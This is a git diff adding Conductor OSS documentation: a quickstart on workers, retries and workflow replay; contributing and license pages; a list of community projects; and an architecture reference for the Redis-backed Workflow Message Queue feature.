summary: 'Host ' + d.hostName + ' responded in ' + d.apiRandomDelay + ' with random value ' + d.randomInt, host: d.hostName, randomValue: d.randomInt }; })()" + } + }, + { + "name": "process_result", + "taskReferenceName": "process_ref", + "type": "SIMPLE", + "inputParameters": { + "summary": "${parse_ref.output.result.summary}", + "randomValue": "${parse_ref.output.result.randomValue}" + } + } + ], + "outputParameters": { + "finalResult": "${process_ref.output.result}" + }, + "schemaVersion": 2, + "ownerEmail": "dev@example.com" +} +``` + +**Register the updated workflow and task definition:** + +```bash +conductor workflow create workflow-v2.json +``` + +```bash +curl -X POST http://localhost:8080/api/metadata/taskdefs \ + -H 'Content-Type: application/json' \ + -d '[{ + "name": "process_result", + "retryCount": 2, + "retryLogic": "FIXED", + "retryDelaySeconds": 1, + "responseTimeoutSeconds": 10, + "ownerEmail": "dev@example.com" + }]' +``` + +### Write the worker + +Save `worker.py`: + +```python +import threading + +from conductor.client.automator.task_handler import TaskHandler +from conductor.client.configuration.configuration import Configuration +from conductor.client.worker.worker_task import worker_task + + +@worker_task(task_definition_name="process_result") +def process_result(task) -> dict: + summary = task.input_data.get("summary", "") + random_value = task.input_data.get("randomValue", 0) + + # Fail on first attempt to demonstrate retries + if task.retry_count == 0: + raise Exception(f"Simulated failure processing: {summary}") + + return { + "result": summary.upper(), + "doubled": random_value * 2, + "attempt": task.retry_count + 1, + } + + +def main(): + config = Configuration(server_api_url="http://localhost:8080/api") + handler = TaskHandler(configuration=config) + handler.start_processes() + + try: + threading.Event().wait() # block until KeyboardInterrupt; no busy-wait + except KeyboardInterrupt: + handler.stop_processes() + + +if __name__ == "__main__": + main() +``` + +**Install and run:** + +```bash +pip install conductor-python +python worker.py +``` + +### Start the workflow and watch retries + +In a separate terminal: + +```bash +conductor workflow start -w hello_workflow --version 2 --sync +``` + +In the terminal running your worker, you'll see: + +``` +Simulated failure processing: Host orkes-api-sampler-... responded in 0 ms with random value 1141 +... +# 1 second later, the retry succeeds +``` + +Expected output: + +```json +{ + "finalResult": { + "result": "HOST ORKES-API-SAMPLER-... RESPONDED IN 0 MS WITH RANDOM VALUE 1141", + "doubled": 2282, + "attempt": 2 + } +} +``` + +Open [http://localhost:8080](http://localhost:8080) to see the retry visually in the execution diagram. + +!!! success "What just happened" + Your worker failed, Conductor retried it after 1 second, and the retry succeeded. This is durable execution — Conductor manages retries so your code doesn't have to. + + +## Phase 3: Replay a workflow + +Every Conductor workflow execution is fully replayable — restart from the beginning, rerun from a specific task, or retry the failed step. This works on any workflow, at any time, even months after the original execution. + +### Restart from the beginning + +Take any workflow execution ID from Phase 1 or Phase 2 and restart it: + +```bash +# Start a workflow and capture its ID (printed as a plain UUID) +WORKFLOW_ID=$(conductor workflow start -w hello_workflow --version 2) + +# Restart the entire workflow from the beginning +curl -X POST "http://localhost:8080/api/workflow/$WORKFLOW_ID/restart" +``` + +The workflow re-executes all tasks from scratch, creating a new execution trace while preserving the original. + +### Retry from the failed task + +If a workflow failed (like the simulated failure in Phase 2), you can retry just the failed task instead of re-running everything: + +```bash +# Retry from the last failed task +curl -X POST "http://localhost:8080/api/workflow/$WORKFLOW_ID/retry" +``` + +Conductor picks up from the failed task, reusing the outputs of all previously completed tasks. + +!!! success "What just happened" + You replayed a workflow execution using two different strategies — full restart and retry from failure. Conductor preserved the full execution history, so you could replay at any time. This works on completed, failed, or timed-out workflows, indefinitely. + + +??? note "Workers in other languages" + + === "Java" + + ```java + @WorkerTask("process_result") + public Map processResult(Map input) { + String summary = (String) input.get("summary"); + int randomValue = (int) input.get("randomValue"); + return Map.of( + "result", summary.toUpperCase(), + "doubled", randomValue * 2 + ); + } + ``` + + See the [Java SDK](https://github.com/conductor-oss/java-sdk) for full setup. + + === "JavaScript" + + ```bash + npm install @io-orkes/conductor-javascript + ``` + + ```javascript + const { OrkesClients, TaskHandler } = require("@io-orkes/conductor-javascript"); + + async function main() { + const clients = await OrkesClients.from({ serverUrl: "http://localhost:8080/api" }); + const handler = new TaskHandler(clients, [{ + taskDefName: "process_result", + execute: async (task) => { + const { summary, randomValue } = task.inputData; + return { outputData: { result: summary.toUpperCase(), doubled: randomValue * 2 }, status: "COMPLETED" }; + }, + }]); + handler.startPolling(); + } + main(); + ``` + + See the [JavaScript SDK](https://github.com/conductor-oss/javascript-sdk) for full setup. + + === "Go" + + ```go + func ProcessResult(task *model.Task) (interface{}, error) { + summary := task.InputData["summary"].(string) + randomValue := int(task.InputData["randomValue"].(float64)) + return map[string]interface{}{ + "result": strings.ToUpper(summary), + "doubled": randomValue * 2, + }, nil + } + ``` + + See the [Go SDK](https://github.com/conductor-oss/go-sdk) for full setup. + + === "C#" + + ```csharp + [WorkerTask("process_result")] + public static TaskResult ProcessResult(Task task) + { + var summary = task.InputData["summary"].ToString(); + var randomValue = (int)task.InputData["randomValue"]; + return task.Completed(new { + result = summary.ToUpper(), + doubled = randomValue * 2 + }); + } + ``` + + See the [C# SDK](https://github.com/conductor-oss/csharp-sdk) for full setup. + + +## Cleanup + +```bash +conductor server stop +``` + + +## Using Docker instead + +If you prefer Docker over the CLI, you can run Conductor with: + +```bash +docker run --name conductor -p 8080:8080 conductoross/conductor:latest +``` + +All the workflow commands above work the same — just replace the CLI commands with their cURL equivalents: + +| CLI | cURL | +|-----|------| +| `conductor workflow create workflow.json` | `curl -X POST http://localhost:8080/api/metadata/workflow -H 'Content-Type: application/json' -d @workflow.json` | +| `conductor workflow start -w hello_workflow --sync` | `curl -s -X POST "http://localhost:8080/api/workflow/execute/hello_workflow/1?waitForSeconds=10" -H 'Content-Type: application/json' -d '{}'` | +| `conductor server stop` | `docker rm -f conductor` | + +For production deployment options, see [Running with Docker](../devguide/running/deploy.md). + + +## Next steps + +- **[System tasks](../documentation/configuration/workflowdef/systemtasks/index.md)** — HTTP, Wait, Event tasks without workers +- **[Operators](../documentation/configuration/workflowdef/operators/index.md)** — Fork/join, switch, loops, sub-workflows +- **[Error handling](../devguide/how-tos/Workflows/handling-errors.md)** — Saga pattern, compensation flows +- **[Client SDKs](../documentation/clientsdks/index.md)** — Java, Python, Go, C#, JavaScript, and more diff --git a/docs/quickstart/workflow.json b/docs/quickstart/workflow.json new file mode 100644 index 0000000..5a562ca --- /dev/null +++ b/docs/quickstart/workflow.json @@ -0,0 +1,33 @@ +{ + "name": "hello_workflow", + "version": 1, + "tasks": [ + { + "name": "fetch_data", + "taskReferenceName": "fetch_ref", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://orkes-api-tester.orkesconductor.com/api", + "method": "GET" + } + } + }, + { + "name": "parse_response", + "taskReferenceName": "parse_ref", + "type": "INLINE", + "inputParameters": { + "data": "${fetch_ref.output.response.body}", + "evaluatorType": "graaljs", + "expression": "(function() { var d = $.data; return { summary: 'Host ' + d.hostName + ' responded in ' + d.apiRandomDelay + ' with random value ' + d.randomInt, host: d.hostName, randomValue: d.randomInt }; })()" + } + } + ], + "outputParameters": { + "summary": "${parse_ref.output.result.summary}", + "apiResponse": "${fetch_ref.output.response.body}" + }, + "schemaVersion": 2, + "ownerEmail": "dev@example.com" +} diff --git a/docs/resources/contributing.md b/docs/resources/contributing.md new file mode 100644 index 0000000..867c761 --- /dev/null +++ b/docs/resources/contributing.md @@ -0,0 +1,76 @@ +--- +description: "Contributing to Conductor — guidelines for reporting issues, submitting pull requests, and community participation." +--- +# Contributing +Thanks for your interest in Conductor! +This guide helps to find the most efficient way to contribute, ask questions, and report issues. + +Code of conduct +----- + +Please review our [code of conduct](https://orkes.io/orkes-conductor-community-code-of-conduct). + +I have a question! +----- + +We have a dedicated [discussion forum](https://github.com/conductor-oss/conductor/discussions) for asking "how to" questions and to discuss ideas. The discussion forum is a great place to start if you're considering creating a feature request or work on a Pull Request. +*Please do not create issues to ask questions.* + +I want to contribute! +------ + +We welcome Pull Requests and already had many outstanding community contributions! +Creating and reviewing Pull Requests take considerable time. This section helps you to set up a smooth Pull Request experience. + +The stable branch is [main](https://github.com/conductor-oss/conductor/tree/main). + +Please create pull requests for your contributions against [main](https://github.com/conductor-oss/conductor/tree/main) only. + +It's a great idea to discuss the new feature you're considering on the [discussion forum](https://github.com/conductor-oss/conductor/discussions) before writing any code. There are often different ways you can implement a feature. Getting some discussion about different options helps shape the best solution. When starting directly with a Pull Request, there is the risk of having to make considerable changes. Sometimes that is the best approach, though! Showing an idea with code can be very helpful; be aware that it might be throw-away work. Some of our best Pull Requests came out of multiple competing implementations, which helped shape it to perfection. + +Also, consider that not every feature is a good fit for Conductor. A few things to consider are: + +* Is it increasing complexity for the user, or might it be confusing? +* Does it, in any way, break backward compatibility (this is seldom acceptable) +* Does it require new dependencies (this is rarely acceptable for core modules) +* Should the feature be opt-in or enabled by default. For integration with a new Queuing recipe or persistence module, a separate module which can be optionally enabled is the right choice. +* Should the feature be implemented in the main Conductor repository, or would it be better to set up a separate repository? Especially for integration with other systems, a separate repository is often the right choice because the life-cycle of it will be different. + +Of course, for more minor bug fixes and improvements, the process can be more light-weight. + +We'll try to be responsive to Pull Requests. Do keep in mind that because of the inherently distributed nature of open source projects, responses to a PR might take some time because of time zones, weekends, and other things we may be working on. + +I want to report an issue +----- + +If you found a bug, it is much appreciated if you create an issue. Please include clear instructions on how to reproduce the issue, or even better, include a test case on a branch. Make sure to come up with a descriptive title for the issue because this helps while organizing issues. + +I have a great idea for a new feature +---- +Many features in Conductor have come from ideas from the community. If you think something is missing or certain use cases could be supported better, let us know! You can do so by opening a discussion on the [discussion forum](https://github.com/conductor-oss/conductor/discussions). Provide as much relevant context to why and when the feature would be helpful. Providing context is especially important for "Support XYZ" issues since we might not be familiar with what "XYZ" is and why it's useful. If you have an idea of how to implement the feature, include that as well. + +Once we have decided on a direction, it's time to summarize the idea by creating a new issue. + +## Code Style +We use [spotless](https://github.com/diffplug/spotless) to enforce consistent code style for the project, so make sure to run `gradlew spotlessApply` to fix any violations after code changes. + +## License + +By contributing your code, you agree to license your contribution under the terms of the APLv2: https://github.com/conductor-oss/conductor/blob/main/LICENSE + +All files are released with the Apache 2.0 license, and the following license header will be automatically added to your new file if none present: + +``` +/** + * Copyright $YEAR Conductor authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +``` diff --git a/docs/resources/license.md b/docs/resources/license.md new file mode 100644 index 0000000..7a57381 --- /dev/null +++ b/docs/resources/license.md @@ -0,0 +1,18 @@ +--- +description: "License — Conductor is released under the Apache License 2.0 for free commercial and open-source use." +--- +# License + +Copyright 2023 Conductor authors. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + +[http://www.apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0) + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/docs/resources/related.md b/docs/resources/related.md new file mode 100644 index 0000000..d8a43a2 --- /dev/null +++ b/docs/resources/related.md @@ -0,0 +1,78 @@ +--- +description: "Related Projects — community SDKs, tools, and integrations built around the Conductor workflow orchestration platform." +--- +# Community projects related to Conductor + +## Client SDKs + +Further, all of the (non-Java) SDKs have a new GitHub home: the Conductor SDK repository is your new source for Conductor SDKs: + +* [Java](https://github.com/conductor-oss/java-sdk) +* [JavaScript](https://github.com/conductor-oss/javascript-sdk) +* [Go](https://github.com/conductor-oss/go-sdk) +* [Python](https://github.com/conductor-oss/python-sdk) +* [C#](https://github.com/conductor-oss/csharp-sdk) +* [Clojure](https://github.com/conductor-oss/clojure-sdk) + +All contributions on the above client SDKs can be made on [Conductor OSS](https://github.com/conductor-oss) repository. + +## Microservices operations + +* https://github.com/flaviostutz/schellar - Schellar is a scheduler tool for instantiating Conductor workflows from time to time, mostly like a cron job, but with transport of input/output variables between calls. + +* https://github.com/flaviostutz/backtor - Backtor is a backup scheduler tool that uses Conductor workers to handle backup operations and decide when to expire backups (ex.: keep backup 3 days, 2 weeks, 2 months, 1 semester) + +* https://github.com/cquon/conductor-tools - Conductor CLI for launching workflows, polling tasks, listing running tasks etc + + +## Conductor deployment + +* https://github.com/flaviostutz/conductor-server - Docker container for running Conductor with Prometheus metrics plugin installed and some tweaks to ease provisioning of workflows from json files embedded to the container + +* https://github.com/flaviostutz/conductor-ui - Docker container for running Conductor UI so that you can easily scale UI independently + +* https://github.com/flaviostutz/elasticblast - "Elasticsearch to Bleve" bridge tailored for running Conductor on top of Bleve indexer. The footprint of Elasticsearch may cost too much for small deployments on Cloud environment. + +* https://github.com/mohelsaka/conductor-prometheus-metrics - Conductor plugin for exposing Prometheus metrics over path '/metrics' + +## OAuth2.0 Security Configuration + +[OAuth2.0 Role Based Security!](https://github.com/maheshyaddanapudi/conductor-boot) - Spring Security with easy configuration to secure the Conductor server APIs. + +Docker image published to [Docker Hub](https://hub.docker.com/repository/docker/conductorboot/server) + +## Conductor Worker utilities + +* https://github.com/ggrcha/conductor-go-client - Conductor Golang client for writing Workers in Golang + +* https://github.com/courosh12/conductor-dotnet-client - Conductor DOTNET client for writing Workers in DOTNET + * https://github.com/TwoUnderscorez/serilog-sinks-conductor-task-log - Serilog sink for sending worker log events to Conductor + +* https://github.com/davidwadden/conductor-workers - Various ready made Conductor workers for common operations on some platforms (ex.: Jira, Github, Concourse) + +## Conductor Web UI + +* https://github.com/maheshyaddanapudi/conductor-ng-ui - Angular based - Conductor Workflow Management UI + +## Conductor Persistence + +### Mongo Persistence + +* https://github.com/maheshyaddanapudi/conductor/tree/mongo_persistence - With option to use Mongo Database as persistence unit. + * Mongo Persistence / Option to use Mongo Database as persistence unit. + * Docker Compose example with MongoDB Container. + +### Oracle Persistence + +* https://github.com/maheshyaddanapudi/conductor/tree/oracle_persistence - With option to use Oracle Database as persistence unit. + * Oracle Persistence / Option to use Oracle Database as persistence unit : version > 12.2 - Tested well with 19C + * Docker Compose example with Oracle Container. + +## Schedule Conductor Workflow +* https://github.com/jas34/scheduledwf - It solves the following problem statements: + * At times there are use cases in which we need to run some tasks/jobs only at a scheduled time. + * In microservice architecture maintaining schedulers in various microservices is a pain. + * We should have a central dedicate service that can do scheduling for us and provide a trigger to a microservices at expected time. +* It offers an additional module `io.github.jas34.scheduledwf.config.ScheduledWfServerModule` built on the existing core +of conductor and does not require deployment of any additional service. +For more details refer: [Schedule Conductor Workflows](https://jas34.github.io/scheduledwf) and [Capability In Conductor To Schedule Workflows](https://github.com/Netflix/conductor/discussions/2256) \ No newline at end of file diff --git a/docs/robots.txt b/docs/robots.txt new file mode 100644 index 0000000..5fffd57 --- /dev/null +++ b/docs/robots.txt @@ -0,0 +1,3 @@ +User-agent: * +Allow: / +Sitemap: https://conductor-oss.github.io/conductor/sitemap.xml diff --git a/docs/wmq/wmq_echo_loop.json b/docs/wmq/wmq_echo_loop.json new file mode 100644 index 0000000..6433ff3 --- /dev/null +++ b/docs/wmq/wmq_echo_loop.json @@ -0,0 +1,78 @@ +{ + "name": "wmq_echo_loop", + "description": "Pulls messages from the workflow queue in a loop and echoes each payload", + "version": 1, + "tasks": [ + { + "name": "message_loop", + "taskReferenceName": "message_loop_ref", + "inputParameters": {}, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "$.message_loop_ref['iteration'] < 100", + "loopOver": [ + { + "name": "pull_message", + "taskReferenceName": "pull_message_ref", + "inputParameters": { + "batchSize": 1 + }, + "type": "PULL_WORKFLOW_MESSAGES", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "echo_payload", + "taskReferenceName": "echo_payload_ref", + "inputParameters": { + "evaluatorType": "javascript", + "expression": "function e() { var msgs = $.messages; var msg = msgs && msgs.length > 0 ? msgs[0] : null; return { echoed: msg ? msg.payload : null, messageId: msg ? msg.id : null, receivedAt: msg ? msg.receivedAt : null }; } e();", + "messages": "${pull_message_ref.output.messages}" + }, + "type": "INLINE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "enforceSchema": true, + "metadata": {}, + "maskedFields": [] +} \ No newline at end of file diff --git a/docs/wmq/workflow-message-queue-architecture.md b/docs/wmq/workflow-message-queue-architecture.md new file mode 100644 index 0000000..d64c325 --- /dev/null +++ b/docs/wmq/workflow-message-queue-architecture.md @@ -0,0 +1,269 @@ +--- +description: Architecture reference for the Workflow Message Queue (WMQ) feature in Conductor OSS — push-based message delivery into running workflows via Redis-backed queues, the PULL_WORKFLOW_MESSAGES system task, and cleanup lifecycle hooks. +--- + +# Workflow Message Queue (WMQ) — Architecture + +## Overview + +The Workflow Message Queue (WMQ) is an opt-in Conductor feature that lets external systems push arbitrary JSON messages into a running workflow at any time. The workflow consumes those messages at defined checkpoints using a new system task type: `PULL_WORKFLOW_MESSAGES`. + +WMQ introduces a per-workflow message buffer backed by Redis. External callers push messages to a REST endpoint. The workflow reads them via the task, which either completes immediately if messages are waiting or stays `IN_PROGRESS` until they arrive. + +This is a distinct capability from existing Conductor mechanisms. See [Why not existing mechanisms](#why-not-existing-mechanisms) below. + + +## Primary use cases + +| Use case | Description | +|---|---| +| **Agentic / agent loops** | An AI agent workflow loops and waits for tool results or human confirmations from external callers. The caller pushes a message when the tool responds; the loop unblocks. | +| **Webhook-driven workflows** | An asynchronous HTTP callback needs to feed data into a paused workflow. The callback target is the WMQ push endpoint, not a polling mechanism. | +| **Notification pipelines** | A workflow loops, reads messages in configurable batches, and forks to fan out to multiple channels. | +| **Human-in-the-loop** | Structured human decisions or approval payloads are injected into a running workflow by an operator tool or UI. | + + +## Why not existing mechanisms + +| Mechanism | Why it does not satisfy WMQ requirements | +|---|---| +| **Event handlers** | Operate at the workflow-definition level, not per workflow instance. They cannot target a specific running execution by ID. | +| **WAIT task** | Has no structured message payload. Unblocking via the external completion API carries no data into the task output. | +| **HTTP task** | Requires the workflow to reach out to an endpoint. WMQ inverts that model: the workflow *receives* data pushed by an external party. | + + +## Architecture components + +### 1. Message queue storage + +The storage layer is defined as an interface in `core` and implemented in `redis-persistence`. + +**Interface:** `com.netflix.conductor.dao.WorkflowMessageQueueDAO` + +Operations: +- `push(workflowId, message)` — append a message to the workflow's queue +- `pop(workflowId, maxCount)` — atomically dequeue up to `maxCount` messages from the head +- `size(workflowId)` — return the current queue depth +- `delete(workflowId)` — remove the entire queue key + +**Redis implementation:** `com.netflix.conductor.redis.dao.RedisWorkflowMessageQueueDAO` + +Redis data structure: one List per workflow. + +| Property | Detail | +|---|---| +| Key pattern | `wmq:{workflowId}` | +| Enqueue | `RPUSH` — appended to tail for FIFO ordering | +| Dequeue | `LRANGE` to read + `LTRIM` to remove. Safe without an atomic Lua script because Conductor holds a per-workflow execution lock during the decide cycle. For Redis 6.2+, `LPOP key count` could simplify this. | +| TTL | Configurable; default 24 hours (86,400 seconds). Reset to full TTL on every `RPUSH`. | +| Max size | Configurable cap; default 1,000 messages. `push` returns an error if the queue is at capacity. | + +Each message stored in the Redis list is a JSON string conforming to the message schema described below. + + +### 2. Message schema + +Every message is a JSON object with the following fields: + +```json +{ + "id": "3f2504e0-4f89-11d3-9a0c-0305e82c3301", + "workflowId": "8e2c14e1-99ab-4c10-b4a8-a7b0d2f0e123", + "payload": { + "decision": "approved", + "approvedBy": "user@example.com" + }, + "receivedAt": "2025-06-15T10:30:00Z" +} +``` + +| Field | Type | Description | +|---|---|---| +| `id` | UUID v4 string | Generated by the push endpoint at ingestion time. Returned to the caller. | +| `workflowId` | string | The workflow instance that owns this message. Redundant with the queue key but included for downstream traceability. | +| `payload` | arbitrary JSON object | The data provided by the external caller. Conductor does not interpret or validate the structure. | +| `receivedAt` | ISO-8601 UTC timestamp | Recorded at ingestion time. | + + +### 3. REST API + +**Endpoint:** `POST /api/workflow/{workflowId}/messages` + +**Request body:** arbitrary JSON object (the `payload` field of the message) + +**Response:** the generated message `id` as a plain string + +**Validation:** +- The target workflow must exist. +- The workflow must be in `RUNNING` status. Pushes to workflows in `PAUSED`, `COMPLETED`, `FAILED`, `TIMED_OUT`, or `TERMINATED` states are rejected with an appropriate HTTP error. + +**Feature flag guard:** The REST controller bean is only registered when the WMQ feature is enabled (see [Feature flag](#feature-flag)). When disabled, the endpoint does not exist at all — it is absent from Swagger UI and returns 404. + +**Side effect after push:** After storing the message in Redis, the endpoint calls `workflowExecutor.decide(workflowId)`. This triggers an immediate workflow evaluation cycle, allowing an in-progress `PULL_WORKFLOW_MESSAGES` task to be woken up without waiting for the next SystemTaskWorker poll interval. See [Interaction with WorkflowSweeper](#interaction-with-workflowsweeper). + + +### 4. PULL_WORKFLOW_MESSAGES system task + +`PULL_WORKFLOW_MESSAGES` is an async system task (`isAsync() = true`). It integrates with the `SystemTaskWorker` polling loop. + +**Task type string:** `PULL_WORKFLOW_MESSAGES` + +**Input parameters (from task definition `inputParameters`):** + +| Parameter | Type | Default | Description | +|---|---|---|---| +| `batchSize` | int | 1 | Maximum number of messages to dequeue in one invocation. Capped by the server-side `maxBatchSize` configuration. | + +**Lifecycle:** + +1. **`start()`** — Called once when the task enters `SCHEDULED` state. Sets the task status to `IN_PROGRESS`. +2. **`execute()`** — Called by `SystemTaskWorker` on each poll cycle. Checks the Redis queue. + - If the queue is **empty**: returns `false`. The task stays `IN_PROGRESS`. `AsyncSystemTaskExecutor` re-queues the task message with a short `callbackAfterSeconds`. + - If the queue is **non-empty**: atomically pops up to `batchSize` messages, writes the output, sets status to `COMPLETED`, returns `true`. + +**Output fields (on COMPLETED):** + +| Field | Type | Description | +|---|---|---| +| `messages` | array of message objects | The dequeued messages, each with `id`, `workflowId`, `payload`, and `receivedAt`. | +| `count` | int | Actual number of messages returned. Always `<= batchSize`. | + +**Timeout behavior:** The task respects the `timeoutSeconds` field configured in the workflow task definition or task definition metadata. If the task times out waiting for messages, Conductor applies the standard timeout mechanism and transitions the task to `TIMED_OUT`. No special handling is required in `PULL_WORKFLOW_MESSAGES` itself. + + +### 5. Configuration properties + +The feature is controlled by a `@ConfigurationProperties` class with prefix `conductor.workflow-message-queue`. + +| Property | Type | Default | Description | +|---|---|---|---| +| `conductor.workflow-message-queue.enabled` | boolean | `false` | Master switch. All WMQ beans are gated on this being `true`. | +| `conductor.workflow-message-queue.maxQueueSize` | int | 1000 | Maximum number of messages allowed in a single workflow's queue at one time. | +| `conductor.workflow-message-queue.ttlSeconds` | long | 86400 | TTL (seconds) applied to the Redis key. Reset on every push. | +| `conductor.workflow-message-queue.maxBatchSize` | int | 100 | Server-side upper bound on `batchSize` for any single `PULL_WORKFLOW_MESSAGES` execution. | + + +### 6. Feature flag + +```properties +conductor.workflow-message-queue.enabled=false +``` + +When `false` (the default): +- The REST controller bean is not created. +- The `PULL_WORKFLOW_MESSAGES` system task bean is not created. The task type is unknown to `SystemTaskRegistry`. Any workflow definition referencing it will fail validation. +- The `RedisWorkflowMessageQueueDAO` bean is not created. +- The `WorkflowMessageQueueCleanupListener` bean is not created. + +The feature has zero runtime footprint when disabled. Existing deployments are unaffected. + + +### 7. Lifecycle cleanup + +Queue cleanup relies on the Redis TTL configured via `conductor.workflow-message-queue.ttlSeconds` (default 24 hours). The TTL is reset on every `push`, so active queues are never prematurely expired. + +There is no explicit `WorkflowStatusListener` implementation for cleanup. `WorkflowStatusListener` is a single-bean interface; adding a WMQ implementation would conflict with other listener implementations (e.g., the archiving listener). The Redis TTL is sufficient: any orphaned queue (e.g., after a server crash before a workflow completes) will expire automatically. + + +## Data flows + +### Push flow + +``` +External caller + └─ POST /api/workflow/{wfId}/messages (JSON payload) + └─ WorkflowMessageQueueResource + ├─ Validate workflow exists and is RUNNING + ├─ Generate message ID (UUID v4) + ├─ Serialize message to JSON + ├─ dao.push(workflowId, message) + │ └─ RPUSH wmq:{workflowId} + │ └─ EXPIRE wmq:{workflowId} + ├─ workflowExecutor.decide(workflowId) ← triggers immediate re-evaluation + └─ Return message ID to caller +``` + +### Pull flow — message already waiting (happy path) + +``` +WorkflowExecutor schedules PULL_WORKFLOW_MESSAGES task + └─ task status: SCHEDULED + └─ SystemTaskWorker.execute() + └─ PullWorkflowMessages.start() + └─ task status: IN_PROGRESS + └─ AsyncSystemTaskExecutor calls PullWorkflowMessages.execute() + └─ dao.pop(workflowId, batchSize) → [message1, ...] + └─ task output: { messages: [...], count: N } + └─ task status: COMPLETED + └─ WorkflowExecutor.decide() advances workflow +``` + +### Pull flow — waiting for messages (no messages yet) + +``` +PullWorkflowMessages.execute() + └─ dao.pop(workflowId, batchSize) → [] (queue empty) + └─ return false + └─ AsyncSystemTaskExecutor re-queues task with callbackAfterSeconds + └─ SystemTaskWorker polls again at next interval + └─ [repeat until message arrives] + +[Meanwhile, external caller pushes a message via POST /api/workflow/{wfId}/messages] + └─ workflowExecutor.decide(workflowId) called after push + └─ AsyncSystemTaskExecutor.execute() triggered + └─ PullWorkflowMessages.execute() + └─ dao.pop() → [message] + └─ task COMPLETED, workflow advances +``` + +### Cleanup + +Queue keys expire automatically via Redis TTL (default 24 hours, reset on every push). No explicit cleanup hook is triggered on workflow completion. + + +## Interaction with WorkflowSweeper + +`PULL_WORKFLOW_MESSAGES` is an async system task (`isAsync() = true`). This means: + +1. When the workflow engine schedules the task, it is placed in the system task queue (a `QueueDAO`-backed queue keyed on the task type). +2. `SystemTaskWorkerCoordinator` registers the task with `SystemTaskWorker` at startup, which begins polling its queue. +3. `AsyncSystemTaskExecutor.execute()` is called for each poll. It calls `start()` on first execution and `execute()` on subsequent calls. +4. When `execute()` returns `false` (queue empty), `AsyncSystemTaskExecutor` re-pushes the task ID into the system task queue with a delay of `systemTaskCallbackTime` seconds (configured via `conductor.app.systemTaskWorkerCallbackDuration`). +5. When a message is pushed via the REST API, `workflowExecutor.decide(workflowId)` is called immediately. The sweeper re-evaluates the workflow and triggers `AsyncSystemTaskExecutor` for any `IN_PROGRESS` async tasks. This reduces wake-up latency to near-real-time rather than waiting for the full poll interval. + +`PULL_WORKFLOW_MESSAGES` overrides `getEvaluationOffset()` to return `Optional.of(1L)`, so the task is re-evaluated every 1 second while waiting for messages instead of the default `systemTaskWorkerCallbackDuration` (30 seconds). + + +## Failure modes and resilience + +| Scenario | Behavior | +|---|---| +| **Redis is unavailable during push** | `dao.push()` throws an exception. The REST endpoint returns HTTP 500. No message is stored. The caller must retry. There is no message loss because nothing was persisted. | +| **Redis is unavailable during pull** | `dao.pop()` throws an exception. `PullWorkflowMessages.execute()` propagates the error. `AsyncSystemTaskExecutor` handles task-level failures per the standard retry/timeout configuration. The task may be retried or timed out. | +| **Workflow terminates while PULL_WORKFLOW_MESSAGES is IN_PROGRESS** | The WorkflowSweeper detects the terminal state and cancels pending tasks. The `WorkflowMessageQueueCleanupListener` deletes the queue key. | +| **Workflow is paused while PULL_WORKFLOW_MESSAGES is IN_PROGRESS** | The task stays `IN_PROGRESS`. Messages pushed during the pause queue up in Redis (subject to `maxQueueSize`). When the workflow is resumed, `workflowExecutor.decide()` is called, the sweeper re-evaluates, and the task picks up queued messages on the next poll. | +| **Queue size exceeded** | `dao.push()` returns an error when the queue has reached `maxQueueSize`. The REST endpoint returns HTTP 429 (Too Many Requests) or HTTP 400. The caller must handle backpressure. | +| **Very large message payloads** | Payloads are stored inline in the Redis list entry. For very large data, use an external storage reference pattern: store the data in an object store (S3, GCS, etc.) and put only the reference URL or key in the WMQ payload. This is the same pattern used for Conductor's external payload storage. | +| **Duplicate delivery** | The Lua dequeue script is atomic within a single Redis instance, so the same message is not delivered twice within one `execute()` call. However, at-least-once semantics apply at the system level — callers and workflow designers should treat consumed messages as idempotent where possible. | +| **Network partition between Conductor nodes** | If multiple Conductor instances are running, the Redis List is shared. The atomic Lua dequeue ensures that two concurrent `execute()` calls for the same workflow do not return overlapping messages. Workflow-level locking (`ExecutionLockService`) provides an additional guard on the decide path. | + + +## Security and access control considerations + +- The push endpoint receives arbitrary JSON. Conductor does not validate payload structure. Implementors should add authentication/authorization at the API gateway layer. +- The `workflowId` parameter in the push URL is sufficient to target any running workflow. Callers must be trusted or the endpoint must be protected. +- Payload data is stored in Redis with the configured TTL. Sensitive data in payloads is subject to Redis access controls. Consider encrypting sensitive fields at the application level if required. + + +## Summary of components + +| Component | Location | Purpose | +|---|---|---| +| `WorkflowMessageQueueDAO` | `core` | Interface defining the storage contract | +| `WorkflowMessage` | `common` | POJO representing a single message | +| `WorkflowMessageQueueProperties` | `core` | `@ConfigurationProperties` for all WMQ settings | +| `PullWorkflowMessages` | `core` (system tasks) | System task that dequeues messages into workflow output | +| `RedisWorkflowMessageQueueDAO` | `redis-persistence` | Redis List implementation of the DAO | +| `WorkflowMessageQueueConfiguration` | `core` | Spring `@Configuration` that wires up the 